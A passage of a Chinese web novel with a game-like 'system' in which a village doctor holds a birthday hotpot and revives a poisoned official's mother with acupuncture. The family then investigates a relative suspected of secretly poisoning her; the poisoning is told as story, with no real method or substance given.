村里的大人们听到动静,纷纷从屋里探出头来,一看这阵仗,非但没人阻止,反而一个个乐不可支地看起了热闹,甚至还有人公然给自家的娃加油助威。 江沐被追得满村跑,身上挂的雪越来越多,眼看就要被孩子们包了饺子,他眼尖地瞥见不远处大队长李有柱家的大门开着,想也不想,一个箭步就冲了进去。 “队长救命啊!” 孩子们追到门口,看到院子里站着的李有柱,一个个急刹车停在门外,谁也不敢再往前一步。 院子里,李有柱和高志强正蹲在屋檐下抽着旱烟,看到江沐这副狼狈不堪的模样,两人都是一愣,随即爆发出大笑。 “哈哈哈哈!江沐,你这是捅了孩子窝了?”李有柱笑得烟杆都快拿不稳了。 江沐抖了抖身上的雪,喘着粗气,指着门外的鹏飞告状:“队长,你可得管管!你家鹏飞,带着全村的孩子围攻我一个,这还有没有王法了!” 鹏飞在门口探头探脑,一点也不怕,反而冲他喊:“江沐叔叔,你出来!咱们接着玩!” “玩个屁!”李有柱笑骂一句,把烟杆在鞋底上磕了磕,冲鹏飞一瞪眼,“滚蛋!别在这儿碍眼,都回家去!” 孩子们见大队长发了话,这才一哄而散。 江沐在李有柱家一直待到临近中午才起身回家。 这场雪下了好几天,直到快元旦才停。 江沐治好了林秋红,又在村里跟孩子们打成一片,他的声望值在这几天里悄然疯涨,不知不觉间,已经突破了一千二的大关,达到了1288点。 元旦零点的钟声尚未敲响,江沐盘腿坐在炕上,双眼紧闭,神情肃穆。 他的意识早已沉入系统商城。 “系统,来一次十连抽!” 伴随着他一声令下,1000点声望值瞬间消失。 指针缓缓停下,一连串的系统提示音在脑海中响起。 结果还算喜人,五白三蓝两金。 白色的依旧是一堆没什么大用的杂物,被他随手扔进了系统仓库。 三道蓝光散去,露出了里面的东西:一台崭新的蝴蝶牌缝纫机,一套三转一响的工业票据,还有一台小巧的红灯牌半导体收音机。 而更让他心脏狂跳的,是最后那两道璀璨夺目的金光。 【恭喜宿主获得:锻体丹(高级)x1】 【恭喜宿主获得:大师级雕刻技艺传承x1】 锻体丹!能改善体质、伐毛洗髓的灵丹妙药! 江沐毫不犹豫地将那枚散发着淡淡清香的丹药取出。 他将丹药小心翼翼地掰成两半,将其中一半混入温水,端到正在灶台忙活的张小月面前:“喝点水,暖暖身子。” 张小月不疑有他,接过来一口气喝了下去。 另一半,江沐打算过些天再找机会让她服下。 药力太猛,得分次进行才行。 第二天,江沐闲来无事,想起自己新得的雕刻技艺,心里一动,便跑到院子里堆起了雪人。 他没堆传统的大胖雪人,而是照着虎虎和生威的样子,一个蹲着,一个卧着,捏出了两只活灵活生的雪狗。 在大师级技艺的加持下,那雪狗的神态、肌肉线条都惟妙惟肖。 “哇!江沐哥,你太厉害了!”张小月出来倒水,看到院子里的景象,惊讶不已。 江沐笑了笑,拍掉手上的雪:“喜欢吗?我再帮你堆一个。” 说着,他便拉着张小月,照着她的模样,堆了一个穿着棉袄、扎着麻花辫的雪人姑娘。 第三天,天气回暖,积雪开始融化,地上到处都是泥泞,两人便干脆窝在家里哪儿也不去。 江沐一边用小刀削着一块木头,一边状似不经意地开口。 “小月,你生日是不是快到了?” 张小月正纳着鞋底,闻言手上一顿,有些惊讶地抬起头:“你怎么知道?” “上次听妈提过一嘴。”江沐头也不抬,手上的木头屑簌簌落下,“想要什么礼物?” 第118章 生日是大事,必须得过 “礼物?”张小月连忙摆手,脸颊微微泛红,“哎呀,要什么礼物,庄户人家哪有那么多讲究。以前……以前都不过的。” 她的声音越来越低,带着窘迫。 在这个连吃饱饭都要精打细算的年代,生日只是意味着又虚长了一岁,多耗了一年家里的口粮,谁还会奢求什么礼物。 江沐手上的动作停了。 “那不行。”他的语气温和。“以前是以前,现在是我在这儿。生日是大事,必须得过。” 看着女孩儿不知所措的样子,他心里微软。 这个姑娘,总是这么小心翼翼,懂事得让人心疼。 他想了想,换了个更让她容易接受的说法。 “这样吧,我看三号那天天气不错,雪化得差不多了,路也好走。咱们庆祝一下,吃点好的。吃火锅,怎么样?” “火锅?”张小月眨了眨眼,这个词对她来说,新鲜。 “就是把肉切成薄片,在滚烫的汤里涮一下就熟了,蘸着料吃。”江沐简单地描述着,“保准你没吃过,又香又暖和。” 一晃眼,便到了三号。 连日的好天气把积雪融得七七八八,村里那条坑坑洼洼的土路虽然依旧泥泞,但总算是能过自行车了。 江沐跟张小月打了声招呼,便推出了自行车,迎着清晨微凉的风,骑向了公社的供销社。 这个年代牛羊肉是精贵东西,寻常村里的代销点根本见不着影儿,只有公社的大供销社,才会偶尔供应一些给干部们改善生活。 江沐如今在青莲公社也算是个不大不小的名人,加上他出手阔绰,供销社的售货员老远看到他就堆起了笑脸。 “江沐同志,今儿个要点啥?” “来两斤羊肉,切成薄片。再称三斤五花肉。”江沐递上钱和一沓肉票。 售货员麻利地称好肉,用油纸包起来,眼神瞟了瞟柜台下刚到的一批货,压低声音补了一句:“江沐同志,新到的羊绒裤,处理品,不要票,就是价钱贵点,你要不要给家里人带两条?这天穿着,腿上跟揣了个小火炉似的。” 江沐心中一动。 他想起张小月那双一到冬天就容易冰凉的手脚,想起她身上那件洗得发白的旧棉袄。 “要,男女式,一样一条。”他几乎没有犹豫。 回到张家小院时,张小月正在院里晾晒前几天洗的衣服。看到江沐车把上挂着的大包小包,她赶忙迎了上来。 “江沐哥,你买这么多肉……” “今天你生日,吃顿好的。”江沐把肉递给她,又从另一个布袋里掏出两个用纸包着的柔软包裹,“供销社处理羊绒裤,我瞅着不错,给你我一人买了一条。” 张小月接过那柔软的羊绒裤,指尖传来的触感让她心头一颤,她下意识地脱口而出:“这……这得多少钱啊?太贵重了!” “钱的事你别管。”江沐摆了摆手,“咱们现在不缺这点钱。你先穿着,要是觉得好,过两天我再去买两条给你换洗。” 他心里盘算着,等声望值再多一些,就直接在商城里兑换些后世更保暖舒适的衣物。但 眼下,一条羊绒裤,已是这个时代能给她的、最好的温暖。 张小月抱着那条崭新的羊绒裤,鼻子一酸,眼眶竟有些湿润。 中午,厨房里热气腾腾。 江沐亲自掌勺,用猪油炒香了姜蒜和一些他自己配置的香料,熬出了一锅香气扑鼻的火锅底料。 铜锅架在堂屋的炭盆上,红彤彤的汤底翻滚着。 羊肉片薄如蝉翼,下锅一涮,微微卷曲便能捞出。 张小月学着江沐的样子,夹起一片肉,在简易的蒜泥麻酱料里滚了一圈,小心翼翼地送入口中。 下一秒,她的眼睛亮了起来。 鲜、香、嫩、滑! 羊肉独有的鲜美混着浓郁的汤汁和酱料的醇厚,在味蕾上瞬间炸开。 一股暖流从喉咙滑入胃里,再扩散至四肢百骸,驱散了冬日里最后的寒意。 “好吃!”她含糊不清地赞叹着,脸颊被热气熏得红扑扑的,“江沐哥,这涮羊肉……真香啊!” “喜欢吃,以后我常给你做。”江沐看着她满足的笑脸,心里也觉得暖洋洋的。 这一顿火锅,吃得酣畅淋漓。 然而,这份宁静温馨,在第二天清晨被一阵急促的敲门声打破了。 江沐刚打完一套拳,就看到大队长李有柱黑着一张脸,领着三个神色焦灼的男人走了进来。 那三人都穿着城里人常见的干部装,只是风尘仆仆,眼下带着浓重的青黑。 “江沐兄弟,这几位同志从市里来,找你看急病的。”李有柱的声音一如既往地洪亮。 他把人送到,便冲江沐点点头,“你们聊,我队里还有事,先走了。” 话音未落,他便转身大步离去,把空间留给了江沐和这三个不速之客。 江沐目光平静地扫过三人,沉声开口:“几位同志请坐。有什么事,慢慢讲。” 为首那个年纪稍长、看起来最为沉稳的男人站了出来,对着江沐深深鞠了一躬,语气恳切。 “江沐大夫,我叫孙文杰,这是我二弟文涛,三弟文武。我们是听周胜利周老爷子介绍,特地来求您救命的!” 江沐眉头微挑,周胜利?看来自己上次给老爷子治病的事,已经在圈子里传开了。 “请说。” 孙文杰叹了口气,脸上的愁苦几乎要溢出来:“我母亲,几天前在家里毫无征兆地就昏倒了。我们赶紧送到了市医院,可检查了个遍,抽血、拍片子,什么都查了,就是找不出病因。 现在人还昏迷不醒,医院那边也束手无策。周老爷子说,您医术通神,或许有办法。” 江沐沉吟片刻,给出了最稳妥的方案:“最好能把病人送到我这里来,我需要亲自诊断。” “不行啊,大夫!”孙文杰的脸色愈发苍白,“市里到这儿路太远了,我妈现在的情况……根本经不起一点折腾。而且我们也不敢让她出院,万一路上出个什么事……” 这倒也是实情。 这个年代的医疗条件和交通状况,长途转运一个昏迷的危重病人,风险确实太大。 第119章 你们家,可曾与人结过死仇 最小的孙文武性子最直,他上前一步,将事情原原本本地倒了出来:“江大夫,是这样的。前几天我下班回家,见我妈在沙发上躺着,以为她睡着了。可我做好饭去叫她,怎么叫都叫不醒,身子都凉了。我们吓坏了,连夜送进市医院,结果……什么都查不出来。” 他的声音里带着颤抖,显然那一幕给他留下了极大的阴影。 大哥孙文杰接过话头,声音沙哑地补充。 “我们请了省里最有名的专家会诊,所有仪器都用上了,最后得出一个结论——植物人。可为什么会变成植物人,谁也说不出个所以然。 后来又托关系找了京城专门研究这方面的专家,电话里听了情况,也说没辙。要不是周老爷子力荐,我们兄弟几个,真是要走投无路了。” 一番话说得是情真意切。 江沐静静地听完,心中已有了大致的轮廓。 毫无征兆,各项指标正常,现代医学无法解释。 这种情况,要么是极其罕见的神经系统问题,要么……就是超出了常规医学范畴的手段。 他点了点头,算是明白了前因后果。 “我理解各位的心情。” 他看着三双充满希冀与绝望的眼睛,没有把话说满,“但丑话说在前面,你们找了那么多专家都没结果,我一个乡下赤脚医生,也不敢打包票。这样吧,明天一早,你们过来接我,我跟你们去市里走一趟。” 听到江沐松口,孙家三兄弟顿时连连点头,激动得无以复加。 “好好好!谢谢江大夫!谢谢江大夫!” 千恩万谢后,三兄弟不敢再多做打扰,匆匆告辞离去。 --- 一辆黑色的轿车在泥泞的土路上缓缓行驶,车轮碾过冰雪融水,溅起星星点点的泥浆。 车内,气氛却比十分凝重。 坐在副驾驶的孙文涛眉头紧锁,终是没忍住心里的嘀咕:“大哥,这人……也太年轻了吧?看着比文武还小几岁,他真能行吗?别是周老爷子看走了眼,咱们白跑一趟。” 他心里满是怀疑。 一个二十出头的毛头小子,就算从娘胎里开始学医,又能有多高明的医术?他们可是连京城的专家都问过了。 “闭嘴!” 驾驶座上的孙文杰一声冷斥,声音不大,却带着威严。 他目视前方,冷冷地说道。 “人不可貌相,海水不可斗量。周老是什么人?他会拿这种事开玩笑?我们现在是求医,不是审犯人!收起你那套官僚做派!” 老三孙文武见状,立刻在后座打圆场:“二哥也是担心咱妈,心里着急,大哥你别生气。” “着急?”孙文杰猛地一脚刹车,车子在路中间停下。 他转过头,眼睛死死地盯着孙文涛,那眼神,看得孙文涛心里直发毛。 “我看他不是着急,是日子过得太舒坦,脑子都忘了自己姓什么了!” 孙文杰的声音陡然拔高。 “我告诉你孙文涛,明天让文武开车来接江大夫,你!你爱忙什么忙什么去!别在这儿碍眼!” “还有!管好你那个媳妇!别以为我不知道她整天仗着你的名头在外面嚣张跋扈!再让我听到一点风声,看我怎么收拾她!你要是觉得这日子过不了,就趁早离!别给孙家丢人现眼!” “你弄进单位里的那些歪瓜裂枣,这个月内,全部给我滚蛋!以后再让我知道你敢收钱塞人,我不管你是谁,连你一块儿拾掇!” 一连串的训斥砸得孙文涛脸色煞白,连大气都不敢喘。 他怎么也没想到,一句质疑,竟会引出大哥如此雷霆万钧的怒火。 车厢内只有孙文杰粗重的喘息声。 许久,孙文涛才颤抖着嘴唇,挤出一句。 “我……知道了,大哥。” --- 翌日清晨,那辆轿车便准时停在了张家小院的门口。 来的只有孙文武一人,他脸上的神情比昨日更加恭敬,甚至带着小心翼翼。 一路无话,车子颠簸着驶出青莲公社,上了通往市里的公路,才平稳了许多。 江沐闭目养神,孙文武几次想开口,又不知该说什么。 最终还是江沐先开了口,像是随口闲聊。 “听口音,你们兄弟几个不是本地人?” “江大夫好耳力。”孙文武像是找到了话匣子,连忙回应,“我们老家是京城的,跟着老爷子工作调动过来的。我大哥现在在省纪委,我是市法院的,我二哥……在市财政局。” 他简单地介绍了三人的身份,省纪委一把手,市法院副院长,市财政局副局长。 每一个名头,在这个年代都足以让一方震动。 江沐心中了然,难怪孙文杰身上那股威势如此之重。 车子一路疾驰,等开进市第一医院时,时针已经指向了上午十点。 病房是高干专用的,安静且整洁。 床上,一个面容清瘦的老太太双目紧闭,呼吸平稳,若不是毫无血色的脸庞和一动不动的身体,真会让人以为她只是睡着了。 孙文杰和孙文涛早已等候在此,见江沐进来,孙文涛的眼神明显收敛了许多,不敢再有半分不敬。 江沐没有理会他们,径直走到病床前。他伸出两根手指,轻轻搭在了老太太枯瘦的手腕上。 病房里静得落针可闻,三兄弟屏住呼吸,眼睛一眨不眨地盯着江沐的脸,生怕错过任何一个细微的表情。 时间一分一秒地过去。 江沐的眉头,从舒展,到微蹙,再到拧成一个川字。 终于,他收回了手,转过身,扫过三兄弟的脸。 他没有说病情,反而问了一个问题。 “你们家,可曾与人结过死仇?” 三兄弟闻言,皆是一愣。 孙文杰最先反应过来,作为纪委干部,他的思维远比常人敏锐:“江大夫,您这话……是什么意思?” 江沐的视线最终落定在孙文杰身上,冷声道,“老太太这不是病,是中毒。” “中毒?!”三人异口同声,满脸的不可思议。 “没错。”江沐思考了一下,随后开口,“一种极为高明的毒。下毒之人手段通天,能配出这种毒药的,祖上至少是出过御医的。此毒不伤性命,却能封闭人的七经八脉,让人陷入假死般的昏迷,任凭现代医学如何检查,也查不出半点端倪。” 他顿了顿,抛出了一个更让他们毛骨悚然的结论。 “而且,看老太太的脉象,这种毒,最少每个礼拜,就要下一次。” 第120章 一定是那个毒妇! “每周一次?” 孙文武第一个失声叫了出来,“这不可能!我妈一辈子与人为善,连跟邻居红脸都少有,谁会下这么歹毒的手?我们兄弟几个……也没得罪过什么人啊!” 大哥孙文杰没有像弟弟那样激动,但那双眸子里,已然掀起了惊涛骇浪。 死仇?下毒?每周一次? 他身居高位,见过的阴私手段不知凡几,却从未想过,这样恶毒的阴谋会降临在自己最敬爱的母亲身上! 江沐的目光平静无波,“你们现在想不起来,不代表没有。我丑话说在前面,今天我能把人救醒,但下毒的根源不除,那人只会变本加厉。老太太的身体经不起几次这样的折腾,长此以往,经脉枯竭,神仙难救。” 两兄弟立刻反应过来。 是啊,救醒了又如何?那个隐藏在暗处的毒蛇,随时会再次吐出致命的信子! 孙文杰深吸一口气,强压下心头的狂怒,对着江沐深深一躬,“江大夫,请您施以援手!大恩大德,我们孙家没齿难忘!” 江沐点了点头,不再多言。 他从随身的布包里取出一个小巧的针灸包,摊开,一排长短不一的银针在灯光下泛着幽冷的光。 他走到病床前,捻起一根三寸银针,动作举重若轻,精准地刺入老太太头顶的百会穴。 孙家兄弟连呼吸都下意识地放轻了,他们死死地盯着江沐的手,那双手稳定、有力。 一根,两根,三根…… 银针在他指尖翻飞,每一次落下都精准无比。 时间在极致的寂静中流淌,足足半个小时过去,老太太的头上、身上已经布满了数十根银针。 江沐额头渗出细密的汗珠,他长吁一口气,开始收针。 【叮!收获来自孙文杰的声望值+100!】 【叮!收获来自孙文武的声望值+85!】 …… 一连串的系统提示音在江沐脑海中响起,这一次施针,竟然直接收获了近五百点声望! 其中,最为冷静自持的孙文杰,一人就贡献了整整一百点! 江沐心中微动,看来这位孙大哥,是真的被自己的手段给折服了。 他将最后一根银针收回针包,转过身,对早已等得心焦如焚的三兄弟淡然开口。 “好了,你们可以叫醒她了。” 此言一出,孙文杰和孙文武一个箭步冲了上去,俯身在母亲耳边,声音颤抖得不成样子。 “妈!妈!您醒醒!” “妈!我是文武啊!您看看我!” 两人一遍遍地呼唤着。 就在这时,病床上那双紧闭了数日的眼皮,竟真的微微颤动了一下,然后,缓缓地……睁开了。 老太太的眼神还有些迷茫,但当她看清眼前两个儿子的脸时,干裂的嘴唇动了动,发出了微弱的声音。 “文杰……文武……我这是……在哪儿啊?” “妈!!!” 一声压抑不住的哭喊,孙文武这个七尺男儿,扑倒在床边泣不成声。 孙文杰也是虎目含泪,双手紧紧握住母亲枯瘦的手,哽咽着说不出一句完整的话。 门外闻声赶来的两个儿媳妇,孙文杰的妻子张曼玉和孙文武的妻子李雪,也冲了进来。 平日里老太太待她们如同亲生闺女,此刻见到婆婆苏醒,两人也是哭成了泪人,围在床边,抓着老太太的手,一声声地唤着妈。 整个病房,都被这劫后余生的喜悦淹没了。 江沐静静地站在一旁,没有打扰这感人的一幕。 许久,还是孙文杰最先平复了情绪。 他擦干眼泪,想起江沐的诊断,立刻俯身柔声问道:“妈,您好好想想,这段时间,家里除了我们,还有没有别人经常来?” 老太太缓了一会儿,精神好了些,有些疑惑地想了想,“你们兄弟几个,还有曼玉和小雪,都要上班。白天家里,就……就你们二嫂冯畅来得勤快些,她说怕我一个人闷,几乎每个礼拜都过来陪我坐坐。” 老太太这句无心之言,在孙家兄弟耳中,不啻于一声惊雷! 冯畅! 二哥孙文涛的媳妇! 每周一次! 所有线索在瞬间串联起来,指向了一个答案! “是她!一定是那个毒妇!”孙文武猛地站起身,双目赤红,额上青筋暴起,“她为什么要这么做!我要去杀了她!” 说着,他转身就要往外冲。 “站住!”孙文杰一声厉喝,将孙文武钉在原地。 他反手抓住弟弟的胳膊。 “现在还没有证据,你这样冲出去,是想打草惊蛇吗!”孙文杰冷声说道,“这件事,我来处理!” 他转头对自己的妻子张曼玉和弟媳李雪吩咐,“你们两个留下来,寸步不离地照顾好妈!” 安排好一切,孙文杰拉着依旧怒气未消的孙文武,走到江沐面前,态度已是天壤之别。 “江大夫,今天……不,以后您就是我们孙家的恩人!走,我跟文武先带您去吃饭。”他顿了顿,语气诚恳无比,“以后别叫什么江大夫了,见外!你要是不嫌弃,就跟文武一样,叫我一声大哥!” 孙文武也反应过来,连忙附和,“对对对!江……江哥!以后你就是我亲哥!” 江沐没有推辞,点了点头。 孙文杰带着两人来到国营饭店,却没心思坐下吃,直接打包了几个硬菜。 路上,孙文杰看着江沐,由衷地感慨,“江兄弟,以你的本事,窝在青莲公社那样的小山沟里,实在是太屈才了。这样,我来安排,把你调到市第一医院来,你看怎么样?” 江沐闻言,却是笑着摇了摇头,“多谢大哥好意,只是我这人懒散惯了,不喜欢被条条框框约束着,在乡下挺好。” 见江沐态度坚决,孙文杰也不再强求,只是拍了拍他的肩膀,“好!人各有志!但你记住,以后在陕州这地界上,不管遇到什么事,只要你一句话,我们兄弟几个,绝无二话!” 三人提着饭菜回到医院,孙文杰让孙文武陪着江沐先吃,自己则转身径直走向了院长办公室。 “张院长,我是孙文杰。”他对着满脸惊愕的院长张纯志亮明身份,言简意赅,“借你的电话用一下,另外,先借我一千块钱,急用。” 张纯志哪敢怠慢,连忙又是让座又是拿钱。 孙文杰拿起那沉甸甸的黑色电话,拨通了一个烂熟于心的号码。 电话接通的瞬间,孙文杰冷声道。 “帮我查个人,冯畅,孙文涛的爱人。我要知道她祖上三代都是干什么的,最近一段时间,她都接触过哪些人,越详细越好!” 第121章 还知道拐个漂亮的小媳妇回来? 电话被扣回原位。 孙文杰身上那股从纪委一把手位置上淬炼出的森然煞气,尚未完全散去。 张纯志院长在一旁大气都不敢喘,直到孙文杰转过身,他才连忙从抽屉里取出一沓钱,用一个牛皮纸信封仔细装好,双手递了过去。 “孙书记,您要的一千块钱。” 这可不是一笔小数目,几乎是普通工人三四年的工资,张纯志拿出来的时候,心头都在微微抽搐。 孙文杰接过信封,掂了掂那厚重的分量,“张院长,今天的事,多谢了。” “孙书记您太客气了!老太太吉人自有天相,能转危为安,是我们全院的荣幸!” 张纯志搓着手,试探着凑近一步,“孙书记,救醒老太太的那位江大夫……当真是神人啊!不知……可否为我引荐一下?您也知道,咱们市医院,正缺这样顶梁柱一般的人才!” 他心里盘算得清楚,要是能把这尊大佛请进医院,别说一千块,就是一万块他也敢想办法! 这不仅是医院的实力提升,更是他张纯志脸上最亮的一块金字招牌! 孙文杰闻言,脑海中闪过江沐那张平静淡然的脸,微微摇了摇头,“江兄弟志不在此。他喜欢乡下的清净,不愿受单位的约束。” 张纯志脸上的笑容顿时僵住,眼底深处闪过惋惜,嘴里却只能连声附和,“是是是,高人风骨,是我唐突了,唐突了。” 孙文杰不再多言,拿着钱转身回了病房。 此刻,孙文武正陪着江沐,桌上摆着几个从国营饭店打包回来的硬菜,但两人谁都没怎么动筷子。 见到大哥回来,孙文武立刻站了起来。 孙文杰径直走到江沐面前,将那个沉甸甸的牛皮纸信封放在桌上,推了过去。 “江兄弟,这是诊金,你务必收下。不多,是我们兄弟的一点心意。” 一千块,还说不多?这手笔,足以让任何一个医生瞠目结舌。 江沐却只是淡淡地瞥了一眼,没有丝毫的推辞,也并没展示出贪婪,伸手便将信封拿了过来,随手塞进了自己的布挎包里。 这份气度,让孙文杰兄弟二人心中愈发敬佩。 真正有本事的人,就该是这样! 江沐从口袋里掏出一张折叠好的纸,递给孙文杰,“这是给老太太的药方,忌口和注意事项我都写清楚了。按时服用,一周后,老太太的气血就能补回来。但毒素伤了根本,想要身体彻底硬朗起来,还得慢慢调养。” “明白!明白!”孙文杰接过药方,小心翼翼地收好。 他看了一眼窗外的天色,对孙文武沉声吩咐,“文武,天不早了,你开车送江兄弟回去。记住,一定要安全送到家门口!” “放心吧大哥!”孙文武拍着胸脯保证。 回去的路上,孙文武开着那辆吉普车,话匣子彻底打开了,天南地北地跟江沐闲聊,从部队里的趣事聊到陕州的特产,言语间充满了对江沐的亲近。 吉普车在江沐家门口停下,江沐下了车,“文武哥,进去喝杯热茶再走吧。” “不了不了,家里还一堆事呢!”孙文武摆了摆手,神色凝重了几分,“那毒妇的事还没解决,我得赶紧回去帮大哥的忙!” 江沐点点头,不再挽留。 目送吉普车消失在夜色中,江沐推开院门,一股异样的寂静扑面而来。 往日里,他一回来,虎虎和生威两只狗早就摇着尾巴扑上来了,张小月也会从屋里迎出来。 可今天,院子里静悄悄的,一个人影,一声犬吠都没有。 他心里微微一沉,将挎包里的东西放回屋里收拾好,正疑惑间,院门又被推开了。 张小月端着一个热气腾腾的瓷盆,哈着白气走了进来,看到江沐,眼睛一亮。 “江沐哥,你回来啦!张兰姑姑家蒸了红薯,可甜了,我给你拿了几个!” 她说着,将瓷盆放到桌上,一股香甜的气息瞬间弥漫开来。 张小月一进屋,眼尖地看到了江沐放在桌上的牛皮纸信封,信封口没封严,露出了里面一角。 她好奇地凑过去,当看清那厚厚的一沓钱时,整个人都惊呆了,下意识地捂住了嘴。 “天呐!江沐哥……这、这得有多少钱啊?你看个病……能挣这么多?!” 她满脸的震惊,这已经不在她的认知范围了。 第二天一早,江沐和张小月就早早地起了床。 “虎虎!生威!” 两人在院子里外呼喊了几声,却依旧没有见到那两只狗的身影。 昨天它们一夜未归,这可是从未有过的事。 张小月的小脸写满了担忧,“江沐哥,它们……它们该不会是被人打了吧?前阵子听村里人说,有人专门偷狗,拿去换钱吃肉……” 这个年代,这种事并不少见。 江沐的眉头也皱了起来。 “应该不会,它们机灵得很。”他嘴上安慰着,心里却也升起不安。 两人在村子附近找了一大圈,连个狗毛都没看见。 江沐抬头望向远处连绵的山脉,猜测道,“可能是贪玩,跑进山里去了。别急,咱们先吃饭,吃完饭我进山去找找。” 吃过早饭,两人刚推开门准备出发,就看到两道熟悉的身影从远处飞奔而来。 正是虎虎和生威! 只是在它们身后,还跟着一个通体雪白的小家伙,跑起来一颠一颠的,格外惹眼。 “它们回来了!”张小月惊喜地叫出声。 两只狗跑到近前,兴奋地绕着江沐和张小月打转,不停地摇着尾巴。 江沐的目光却落在了那个白色的小家伙身上。 等它跑近了,才看清,那哪是什么小白狗,分明是一只眉眼灵动,皮毛油光水滑的小白狐! 江沐顿时乐了,笑着拍了拍虎虎的脑袋,调侃起来。 “哟,你们俩可以啊,出息了!出去溜达一趟,还知道拐个漂亮的小媳妇回来?” 那只小白狐似乎一点也不怕人,只是歪着脑袋,用一双眼睛好奇地打量着江沐和张小月。 “哇!这只狐狸好好看!”张小月蹲下身。 “它身上的毛,比雪还要白!江沐哥,我以前只见过灰狐狸,就是偷咱家鸡的那种。我爷精明了一辈子,给它下老鼠药,那狐狸精得很,凑到跟前闻闻就走了,碰都不碰一下!” 第122章 真是个养不熟的白眼狐 张小月讲述着小时候发生的事。 “最后没办法,我爷一狠心,趁着那贼狐狸又来偷鸡,点了挂一百响的鞭炮,扔进了鸡圈里!” 她比划着,脸上满是兴奋。 “结果你猜怎么着?那狐狸吓得魂飞魄散,夹着尾巴就窜进了山里,从此再没敢来过。不过嘛……” 她吐了吐舌头,声音小了下去,“咱家那两只最会下蛋的老母鸡,还有那只威风凛凛的大公鸡,也……也都被那串鞭炮给活活吓死了。” 江沐听着这啼笑皆非的往事,也不由得笑出声。 就在这时,那只通体雪白的小狐狸,仿佛听懂了张小月的狐族糗事,竟迈开小步子,从张小月腿边一晃而过,悄无声息地溜进了院门里。 “哎!它进去了!”张小月惊喜地叫了一声,连忙跟了进去。 只见那小白狐在院子里站定,歪着毛茸茸的脑袋,好奇地打量着这个陌生的地方,没有丝毫的胆怯。 张小月的心瞬间就被萌化了,她跑进厨房,掰了半块昨晚剩下的红薯面窝头,又从挂着的腊肉上撕下一小条肥膘,放在窝头上,端到小白狐面前。 “小乖乖,饿了吧?快吃点东西。”她的声音放得又轻又柔,生怕惊扰了狐狸。 小白狐警惕地后退了两步,翕动着小巧的鼻子,仔细地嗅着食物的香气。 它看看张小月,又看看窝头,眼神里充满了戒备,就是不肯上前。 “哼,还挺有骨气!”张小月也不气馁,将窝头往地上一放,自己则退开了好几步,“不吃拉倒,我还不伺候了呢!” 她嘴上这么说,眼睛却一眨不眨地盯着。 果然,她前脚刚一转身,那道白色的影子便窜了过去,叼起窝头,跑到墙角一个僻静的角落,三下五除二就吃得干干净净,连一丁点碎屑都没剩下。 吃完后,它也不走,就在院子里找了个向阳的地方蜷缩起来,眯着眼睛晒太阳,时不时还抬起眼皮,懒洋洋地瞥一眼院里的江沐和张小月。 张小月看它那悠闲自得的模样,心又痒痒了,蹑手蹑脚地凑过去,想伸手摸一摸那身雪白的皮毛。 可她的手刚伸到一半,那小白身子一扭,灵巧地躲开了,还冲她龇了龇牙,喉咙里发出低低的警告声。 一连试了好几次,都是如此。 张小月终于没了耐心,叉着腰,气鼓鼓地瞪着它,“嘿!你这小东西!吃了我的,喝了我的,摸一下都不让!真是个养不熟的白眼狐!” 江沐在一旁看着一人一狐斗智斗勇,脸上的笑意更深了。 这宁静而鲜活的田园生活,让他紧绷的神经得到了片刻的舒缓。 然而,这份宁静,注定不会持续太久。 与此同时,数百里之外的陕州市第一医院内,气氛却十分凝重。 纪委书记办公室里,孙文杰面沉如水,指节分明的手指有节奏地敲击着桌面。 他的秘书小赵推门而入,激动道,“孙书记,查到了。” 小赵将一份刚整理好的文件放在桌上,声音压得极低,“冯畅的祖上三代都是根正苗红的贫下中农,没什么特别的人物。但是,自从那天您之前对她发了火之后,她当天下午就去见了一个人。” 孙文杰冷声问,“谁?” “一个叫王思齐的男人。根据我们的同志暗中调查,这个王思齐是市纺织厂的技术员,跟冯畅一直保持着不正当的男女关系。更重要的是……”小赵深吸一口气,“王思齐的亲舅舅,是市革委会的副主任,宁大海!” “宁大海!” 孙文杰的瞳孔猛地一缩,这个名字,他这辈子都不会忘! 那是他官场上的死对头,两家明争暗斗了不是一天两天! 小赵继续补充道:“我们还查了王思齐的家底,他家祖上,在清朝宫里当过御医!” 御医! 孙文杰心中豁然开朗! 难怪,难怪那种奇毒连市里所有专家都束手无策,原来根子在这里! 宁大海,王思齐,冯畅……一条阴毒的线索,已然清晰地串联了起来! “好,好一个宁大海!”孙文杰从牙缝里挤出几个字。 他霍然起身,抓起外套,大步流星地走出办公室,直奔病房。 妻子张曼玉正在给老太太擦拭手心,见到丈夫进来,连忙迎了上去。 孙文杰的目光在母亲安详的睡脸上停留了一瞬,随即转向妻子,语气是前所未有的严肃。 “曼玉,从现在开始,你寸步不离地守着咱妈,除了医生护士,任何人不许探视!尤其是冯畅那个毒妇,绝不能让她靠近妈半步!听到了吗?” 张曼玉重重地点了点头,“你放心!” 交代完毕,孙文杰转身又回了办公室,从自己的柜子里拿出两罐用油纸包得严严实实的特级龙井,随即下楼,开上那辆黑色的吉普车,来到了戒备森严的军委家属大院门口。 院子里,几棵苍劲的槐树下,三三两两的退休老头正围着石桌杀得兴起,楚河汉界的吆喝声此起彼伏。 孙文杰目不斜视,径直走到最里头一栋带小院的二层小楼前,找到了正在树下闭目养神的一位老人。 老人虽然满头银发,但腰杆笔直,身上那股久经沙场的气势,即便是在打盹,也丝毫不减。 “老首长!”孙文杰立正站好,恭敬道。 王老缓缓睁开眼,他上下打量了孙文杰一眼,嘴角一撇,“哼,你这猴崽子,无事不登三宝殿。今天还破天荒地拎着东西来,说吧,又捅了什么马蜂窝了?” 孙文杰嘿嘿一笑,将茶叶放在石桌上,麻利地提起暖水瓶,给王老泡上了一杯香气四溢的龙井。 氤氲的茶香中,孙文杰的脸色沉了下来,他将母亲昏迷不醒,被医院断定为植物人,再到江沐出手,银针救命,一语道破中毒真相,最后把小赵刚刚调查到的所有情况,一五一十地全部说了出来。 王老手里的茶杯重重地顿在石桌上,茶水溅出,他却浑然不觉。 他那张布满皱纹的脸上,写满了震惊。 “你是说……一个乡下知青,只用了半小时针灸,就救醒了你妈?还断定是有人长期下一种宫廷秘毒?” 王老的声音都在发颤,他猛地盯住孙文杰,“给你介绍那个小神医的,是周胜利?” “是。” 王老眼中的惊骇更浓,他喃喃自语,“那老家伙……他还没死?” 孙文杰的眼神复杂了几分,沉声应答,“周老的情况,江兄弟说,还能撑到开春。他现在每天服药,除了消瘦一些,瞧着跟没事人一样。” 第123章 我们孙家的脸,都被你们丢尽了 王老缓缓将视线移回,沉声道,“你妈这事,牵扯到了宁大海。你打算怎么收场?” 孙文杰的腰杆挺得笔直,脸上没有半分退缩。 